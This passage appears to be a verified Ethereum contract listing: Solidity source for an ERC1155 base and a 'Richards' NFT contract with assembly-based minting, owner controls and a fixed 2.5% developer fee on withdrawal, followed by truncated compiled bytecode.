https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) internal _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) internal _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string internal _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } contract Richards is ERC1155, Ownable { struct NftToken { uint32 currentMinted; uint32 totalSupply; uint32 maxMintingPerTime; uint32 nftCost; // unit is finney (0.001 ETH) uint32 mintingStatus; // set can be mint or not uint32 maxSupply; uint32 reserve2; uint32 reserve3; } NftToken public nftToken; event WithdrawEth(address indexed _operator, uint256 _ethWei); event SetMaxMintingPerTime(uint256 maxMintingPerTime); constructor() ERC1155("https://ipfs.io/ipns/k2k4r8kgketlufh6j4hiqchvn1ireku6i17km6gvhvfqk9l1oi8qc3cx/{id}") { nftToken.totalSupply = 10000; nftToken.nftCost = 80; nftToken.maxMintingPerTime = 10; nftToken.mintingStatus = 1; } function name() public pure returns (string memory) { return "RICHARDS"; } function symbol() public pure returns (string memory) { return "RICH"; } function decimals() public view virtual returns (uint256) { return 0; } function totalSupply() public view returns (uint) { return nftToken.totalSupply; } function maxSupply() public view returns (uint) { return nftToken.maxSupply; } function currentMinted() public view returns(uint) { return nftToken.currentMinted; } function nftCost() public view returns(uint) { return nftToken.nftCost; } function mintingStatus() public view returns(uint) { return nftToken.mintingStatus; } function maxMintingPerTime() public view returns(uint) { return nftToken.maxMintingPerTime; } receive() external virtual payable { } fallback() external virtual payable { } /* withdraw eth from owner */ function withdraw(uint _amount) public onlyOwner { require(_amount <= address(this).balance, "exceed withdraw balance."); if (_amount == 0) { _amount = address(this).balance; } uint _devFee = _amount * 25 / 1000; payable(0x2130C75caC9E1EF6381C6F354331B3049221391C).transfer(_devFee); payable(_msgSender()).transfer(_amount - _devFee); emit WithdrawEth(_msgSender(), _amount); } modifier canMint(uint32 _number) { require(nftToken.mintingStatus > 0, "Minting already stop now!"); require(_number <= nftToken.maxMintingPerTime, "exceed the max minting limit per time"); _; } /* Allow the owner set how max minting per time */ function setMaxMintingPerTime(uint32 _maxMintingPerTime) public onlyOwner { nftToken.maxMintingPerTime = _maxMintingPerTime; emit SetMaxMintingPerTime(_maxMintingPerTime); } // when _howManyMEth = 1, it's 0.001 ETH function setNftCost(uint32 _howManyFinney) external onlyOwner { nftToken.nftCost = _howManyFinney; } /* set Token URI */ function setTokenURI(string calldata _uri, uint256 _id) external onlyOwner { emit URI(_uri, _id); } /* set status can be mint or not */ function setMintingStatus(uint32 _status) public onlyOwner { nftToken.mintingStatus = _status; } /* can set total supply, but it can't never be exceed max supply */ function setTotalSupply(uint32 _supply) external onlyOwner { require(_supply <= nftToken.maxSupply, "exceed max supply"); nftToken.totalSupply = _supply; } function setUri(string memory newuri) external onlyOwner { _setURI(newuri); } /* High Level minting function, mint multi tokens to users address, everyone can call it */ function mintO(uint8 number) external payable { require(msg.value >= uint(nftToken.nftCost) * number * 10 ** 15, "Low Price"); uint32 _currentMintedID = nftToken.currentMinted; address account = _msgSender(); for (uint8 i = 0; i < number; i++) { _balances[_currentMintedID][account] += 1; emit TransferSingle(account, address(0), account, _currentMintedID, 1); _currentMintedID += 1; } nftToken.currentMinted = _currentMintedID; require (nftToken.currentMinted <= nftToken.totalSupply, "exceed the max supply limit"); } /* Lower Level mint function, Mint 1 token to users address, everyone can do */ function mint1() external payable { require(nftToken.mintingStatus > 0, "Minting already stop now!"); require(msg.value >= uint(nftToken.nftCost) * 10 ** 15, "Low Price"); assembly { let id := and(sload(nftToken.slot), 0xFFFFFFFF) let p := 0 mstore(p, id) mstore(add(p, 32), _balances.slot) let hash := keccak256(p, 64) // mapping (address => uint256) mstore(p, caller()) mstore(add(p, 32), hash) hash := keccak256(p, 64) sstore(hash, 1) mstore(p, id) mstore(add(p, 32), 1) log4(p, 64, 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62, caller(), 0, caller()) // nftToken.currentMinted += 1; sstore(nftToken.slot, add(sload(nftToken.slot), 1)) } require (nftToken.currentMinted <= nftToken.totalSupply, "exceed the max supply limit"); } /* Lower Level mint function, Mint multi tokens to users address, everyone can do */ function mint(uint8 _number) external payable { require(nftToken.mintingStatus > 0, "Minting already stop now!"); require(_number <= nftToken.maxMintingPerTime, "exceed the max minting limit per time"); require(msg.value >= uint(nftToken.nftCost) * _number * 10 ** 15, "Low Price"); assembly { let prv_id := and(sload(nftToken.slot), 0xFFFFFFFF) let p := 0 for { let i := 0 } lt(i, _number) { i := add(i, 1) } { let id := add(prv_id, i) mstore(p, id) mstore(add(p, 32), _balances.slot) let hash := keccak256(p, 64) // mapping (address => uint256) mstore(p, caller()) mstore(add(p, 32), hash) hash := keccak256(p, 64) sstore(hash, 1) mstore(p, id) mstore(add(p, 32), 1) log4(p, 64, 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62, caller(), 0, caller()) } // nftToken.currentMinted += 1; sstore(nftToken.slot, add(sload(nftToken.slot), _number)) } require (nftToken.currentMinted <= nftToken.totalSupply, "exceed the max supply limit"); } /* Batch Mint to different address in one time, NOTE: The max address count cannot excced 2500, Only owner can do this */ function batchMint(address[] memory _addrs) external onlyOwner { uint256 _number = _addrs.length; require(_number < 500, "exceed the max minting limit per time"); assembly { let prv_id := and(sload(nftToken.slot), 0xFFFFFFFF) let p := 0 for { let i := 0 } lt(i, _number) { i := add(i, 1) } { let id := add(prv_id, i) mstore(p, id) mstore(add(p, 32), _balances.slot) let hash := keccak256(p, 64) // mapping (address => uint256) let addr := mload(add(add(_addrs, 0x20), mul(i, 0x20))) mstore(p, addr) mstore(add(p, 32), hash) hash := keccak256(p, 64) sstore(hash, 1) mstore(p, id) mstore(add(p, 32), 1) log4(p, 64, 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62, caller(), 0, addr) } // nftToken.currentMinted += _number; sstore(nftToken.slot, add(sload(nftToken.slot), _number)) } require (nftToken.currentMinted <= nftToken.totalSupply, "exceed the max supply limit"); } }
0x6080604052600436106101e65760003560e01c8063744da97811610102578063d5abeb0111610095578063e985e9c511610064578063e985e9c51461068b578063f242432a146106c8578063f2fde38b146106f1578063fdd2069e1461071a576101ed565b8063d5abeb01146105e3578063d67b06c11461060e578063da80e59b14610637578063e58fda2414610662576101ed565b8063a22cb465116100d1578063a22cb46514610534578063b83855af1461055d578063c58c14f814610588578063d06fcba8146105b1576101ed565b8063744da9781461048c5780638da5cb5b146104b557806395d89b41146104e05780639b642de11461050b576101ed565b80632e1a7d4d1161017a578063469147121161014957806346914712146103f35780634e1273f41461041c5780636ecd230614610459578063715018a614610475576101ed565b80632e1a7d4d1461034b5780632eb2c2d614610374578063313ce5671461039d57806333abe544146103c8576101ed565b806307565d88116101b657806307565d881461029e57806309a3beef146102ba5780630e89341c146102e357806318160ddd14610320576101ed565b8062fdd58e146101ef57806301ffc9a71461022c578063044b4b5d1461026957806306fdde0314610273576101ed565b366101ed57005b005b3480156101fb57600080fd5b5061021660048036038101906102119190613136565b610745565b6040516102239190613b8c565b60405180910390f35b34801561023857600080fd5b50610253600480360381019061024e9190613237565b61080e565b60405161026091906138eb565b60405180910390f35b6102716108f0565b005b34801561027f57600080fd5b50610288610aa4565b604051610295919061392a565b60405180910390f35b6102b860048036038101906102b39190613394565b610ae1565b005b3480156102c657600080fd5b506102e160048036038101906102dc9190613291565b610d48565b005b3480156102ef57600080fd5b5061030a6004803603810190610305919061333a565b610e03565b604051610317919061392a565b60405180910390f35b34801561032c57600080fd5b50610335610e97565b6040516103429190613b8c565b60405180910390f35b34801561035757600080fd5b50610372600480360381019061036d919061333a565b610eba565b005b34801561038057600080fd5b5061039b60048036038101906103969190612f90565b6110b1565b005b3480156103a957600080fd5b506103b2611152565b6040516103bf9190613b8c565b60405180910390f35b3480156103d457600080fd5b506103dd611157565b6040516103ea9190613b8c565b60405180910390f35b3480156103ff57600080fd5b5061041a60048036038101906104159190613367565b61117a565b005b34801561042857600080fd5b50610443600480360381019061043e91906131bf565b61121d565b6040516104509190613892565b60405180910390f35b610473600480360381019061046e9190613394565b611336565b005b34801561048157600080fd5b5061048a611573565b005b34801561049857600080fd5b506104b360048036038101906104ae9190613367565b6115fb565b005b3480156104c157600080fd5b506104ca6116d5565b6040516104d791906137b5565b60405180910390f35b3480156104ec57600080fd5b506104f56116ff565b604051610502919061392a565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d91906132f1565b61173c565b005b34801561054057600080fd5b5061055b600480360381019061055691906130f6565b6117c4565b005b34801561056957600080fd5b50610572611945565b60405161057f9190613b8c565b60405180910390f35b34801561059457600080fd5b506105af60048036038101906105aa9190613367565b611968565b005b3480156105bd57600080fd5b506105c6611a0b565b6040516105da989796959493929190613c14565b60405180910390f35b3480156105ef57600080fd5b506105f8611ac1565b6040516106059190613b8c565b60405180910390f35b34801561061a57600080fd5b5061063560048036038101906106309190613176565b611ae4565b005b34801561064357600080fd5b5061064c611cb6565b6040516106599190613b8c565b60405180910390f35b34801561066e57600080fd5b5061068960048036038101906106849190613367565b611cd9565b005b34801561069757600080fd5b506106b260048036038101906106ad9190612f50565b611de0565b6040516106bf91906138eb565b60405180910390f35b3480156106d457600080fd5b506106ef60048036038101906106ea919061305f565b611e74565b005b3480156106fd57600080fd5b5061071860048036038101906107139190612f23565b611f15565b005b34801561072657600080fd5b5061072f61200d565b60405161073c9190613b8c565b60405180910390f35b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ad906139ac565b60405180910390fd5b60008083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108d957507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806108e957506108e882612030565b5b9050919050565b6000600460000160109054906101000a900463ffffffff1663ffffffff161161094e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094590613b0c565b60405180910390fd5b66038d7ea4c680006004600001600c9054906101000a900463ffffffff1663ffffffff1661097c9190613ea3565b3410156109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b59061398c565b60405180910390fd5b63ffffffff60045416600081815260006020820152604081203382528060208301526040822090506001815582825260016020830152336000337fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62604086a4600160045401600455505050600460000160049054906101000a900463ffffffff1663ffffffff16600460000160009054906101000a900463ffffffff1663ffffffff161115610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9990613a4c565b60405180910390fd5b565b60606040518060400160405280600881526020017f5249434841524453000000000000000000000000000000000000000000000000815250905090565b66038d7ea4c680008160ff166004600001600c9054906101000a900463ffffffff1663ffffffff16610b139190613ea3565b610b1d9190613ea3565b341015610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b569061398c565b60405180910390fd5b6000600460000160009054906101000a900463ffffffff1690506000610b8361209a565b905060005b8360ff168160ff161015610ca55760016000808563ffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bfc9190613de2565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62866001604051610c7b929190613beb565b60405180910390a4600183610c909190613e38565b92508080610c9d906140d4565b915050610b88565b5081600460000160006101000a81548163ffffffff021916908363ffffffff160217905550600460000160049054906101000a900463ffffffff1663ffffffff16600460000160009054906101000a900463ffffffff1663ffffffff161115610d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3a90613a4c565b60405180910390fd5b505050565b610d5061209a565b73ffffffffffffffffffffffffffffffffffffffff16610d6e6116d5565b73ffffffffffffffffffffffffffffffffffffffff1614610dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbb90613acc565b60405180910390fd5b807f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b8484604051610df6929190613906565b60405180910390a2505050565b606060028054610e1290614028565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3e90614028565b8015610e8b5780601f10610e6057610100808354040283529160200191610e8b565b820191906000526020600020905b815481529060010190602001808311610e6e57829003601f168201915b50505050509050919050565b6000600460000160049054906101000a900463ffffffff1663ffffffff16905090565b610ec261209a565b73ffffffffffffffffffffffffffffffffffffffff16610ee06116d5565b73ffffffffffffffffffffffffffffffffffffffff1614610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d90613acc565b60405180910390fd5b47811115610f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7090613a2c565b60405180910390fd5b6000811415610f86574790505b60006103e8601983610f989190613ea3565b610fa29190613e72565b9050732130c75cac9e1ef6381c6f354331b3049221391c73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610ffe573d6000803e3d6000fd5b5061100761209a565b73ffffffffffffffffffffffffffffffffffffffff166108fc828461102c9190613efd565b9081150290604051600060405180830381858888f19350505050158015611057573d6000803e3d6000fd5b5061106061209a565b73ffffffffffffffffffffffffffffffffffffffff167fccbd99ba6da8f29b2a4f65e474e3c3973564d356c162c08d45f3dc7f0cb5b3aa836040516110a59190613b8c565b60405180910390a25050565b6110b961209a565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806110ff57506110fe856110f961209a565b611de0565b5b61113e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113590613a8c565b60405180910390fd5b61114b85858585856120a2565b5050505050565b600090565b6000600460000160109054906101000a900463ffffffff1663ffffffff16905090565b61118261209a565b73ffffffffffffffffffffffffffffffffffffffff166111a06116d5565b73ffffffffffffffffffffffffffffffffffffffff16146111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ed90613acc565b60405180910390fd5b806004600001600c6101000a81548163ffffffff021916908363ffffffff16021790555050565b60608151835114611263576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125a90613b4c565b60405180910390fd5b6000835167ffffffffffffffff8111156112805761127f6141ba565b5b6040519080825280602002602001820160405280156112ae5781602001602082028036833780820191505090505b50905060005b845181101561132b576112fb8582815181106112d3576112d261418b565b5b60200260200101518583815181106112ee576112ed61418b565b5b6020026020010151610745565b82828151811061130e5761130d61418b565b5b602002602001018181525050806113249061408b565b90506112b4565b508091505092915050565b6000600460000160109054906101000a900463ffffffff1663ffffffff1611611394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138b90613b0c565b60405180910390fd5b600460000160089054906101000a900463ffffffff1663ffffffff168160ff1611156113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec90613aec565b60405180910390fd5b66038d7ea4c680008160ff166004600001600c9054906101000a900463ffffffff1663ffffffff166114279190613ea3565b6114319190613ea3565b341015611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a9061398c565b60405180910390fd5b63ffffffff600454166000805b838110156114ec5780830180835260006020840152604083203384528060208501526040842090506001815581845260016020850152336000337fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62604088a45050600181019050611480565b5082600454016004555050600460000160049054906101000a900463ffffffff1663ffffffff16600460000160009054906101000a900463ffffffff1663ffffffff161115611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790613a4c565b60405180910390fd5b50565b61157b61209a565b73ffffffffffffffffffffffffffffffffffffffff166115996116d5565b73ffffffffffffffffffffffffffffffffffffffff16146115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e690613acc565b60405180910390fd5b6115f960006123b6565b565b61160361209a565b73ffffffffffffffffffffffffffffffffffffffff166116216116d5565b73ffffffffffffffffffffffffffffffffffffffff1614611677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166e90613acc565b60405180910390fd5b80600460000160086101000a81548163ffffffff021916908363ffffffff1602179055507f0b5775d94cccfd234eaeda693f5ec7294926bb1f2d51c2faa66f7cc663b5f86c816040516116ca9190613bd0565b60405180910390a150565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5249434800000000000000000000000000000000000000000000000000000000815250905090565b61174461209a565b73ffffffffffffffffffffffffffffffffffffffff166117626116d5565b73ffffffffffffffffffffffffffffffffffffffff16146117b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117af90613acc565b60405180910390fd5b6117c18161247c565b50565b8173ffffffffffffffffffffffffffffffffffffffff166117e361209a565b73ffffffffffffffffffffffffffffffffffffffff16141561183a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183190613b2c565b60405180910390fd5b806001600061184761209a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166118f461209a565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161193991906138eb565b60405180910390a35050565b6000600460000160009054906101000a900463ffffffff1663ffffffff16905090565b61197061209a565b73ffffffffffffffffffffffffffffffffffffffff1661198e6116d5565b73ffffffffffffffffffffffffffffffffffffffff16146119e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119db90613acc565b60405180910390fd5b80600460000160106101000a81548163ffffffff021916908363ffffffff16021790555050565b60048060000160009054906101000a900463ffffffff16908060000160049054906101000a900463ffffffff16908060000160089054906101000a900463ffffffff169080600001600c9054906101000a900463ffffffff16908060000160109054906101000a900463ffffffff16908060000160149054906101000a900463ffffffff16908060000160189054906101000a900463ffffffff169080600001601c9054906101000a900463ffffffff16905088565b6000600460000160149054906101000a900463ffffffff1663ffffffff16905090565b611aec61209a565b73ffffffffffffffffffffffffffffffffffffffff16611b0a6116d5565b73ffffffffffffffffffffffffffffffffffffffff1614611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5790613acc565b60405180910390fd5b6000815190506101f48110611baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba190613aec565b60405180910390fd5b63ffffffff600454166000805b83811015611c2e578083018083526000602084015260408320602083026020880101518085528160208601526040852091506001825582855260016020860152806000337fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62604089a4505050600181019050611bb7565b5082600454016004555050600460000160049054906101000a900463ffffffff1663ffffffff16600460000160009054906101000a900463ffffffff1663ffffffff161115611cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca990613a4c565b60405180910390fd5b5050565b60006004600001600c9054906101000a900463ffffffff1663ffffffff16905090565b611ce161209a565b73ffffffffffffffffffffffffffffffffffffffff16611cff6116d5565b73ffffffffffffffffffffffffffffffffffffffff1614611d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4c90613acc565b60405180910390fd5b600460000160149054906101000a900463ffffffff1663ffffffff168163ffffffff161115611db9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db090613a0c565b60405180910390fd5b80600460000160046101000a81548163ffffffff021916908363ffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611e7c61209a565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480611ec25750611ec185611ebc61209a565b611de0565b5b611f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef8906139ec565b60405180910390fd5b611f0e8585858585612496565b5050505050565b611f1d61209a565b73ffffffffffffffffffffffffffffffffffffffff16611f3b6116d5565b73ffffffffffffffffffffffffffffffffffffffff1614611f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8890613acc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff8906139cc565b60405180910390fd5b61200a816123b6565b50565b6000600460000160089054906101000a900463ffffffff1663ffffffff16905090565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b81518351146120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd90613b6c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214d90613a6c565b60405180910390fd5b600061216061209a565b9050612170818787878787612718565b60005b84518110156123215760008582815181106121915761219061418b565b5b6020026020010151905060008583815181106121b0576121af61418b565b5b60200260200101519050600080600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224890613aac565b60405180910390fd5b81810360008085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160008085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123069190613de2565b925050819055505050508061231a9061408b565b9050612173565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516123989291906138b4565b60405180910390a46123ae818787878787612720565b505050505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8060029080519060200190612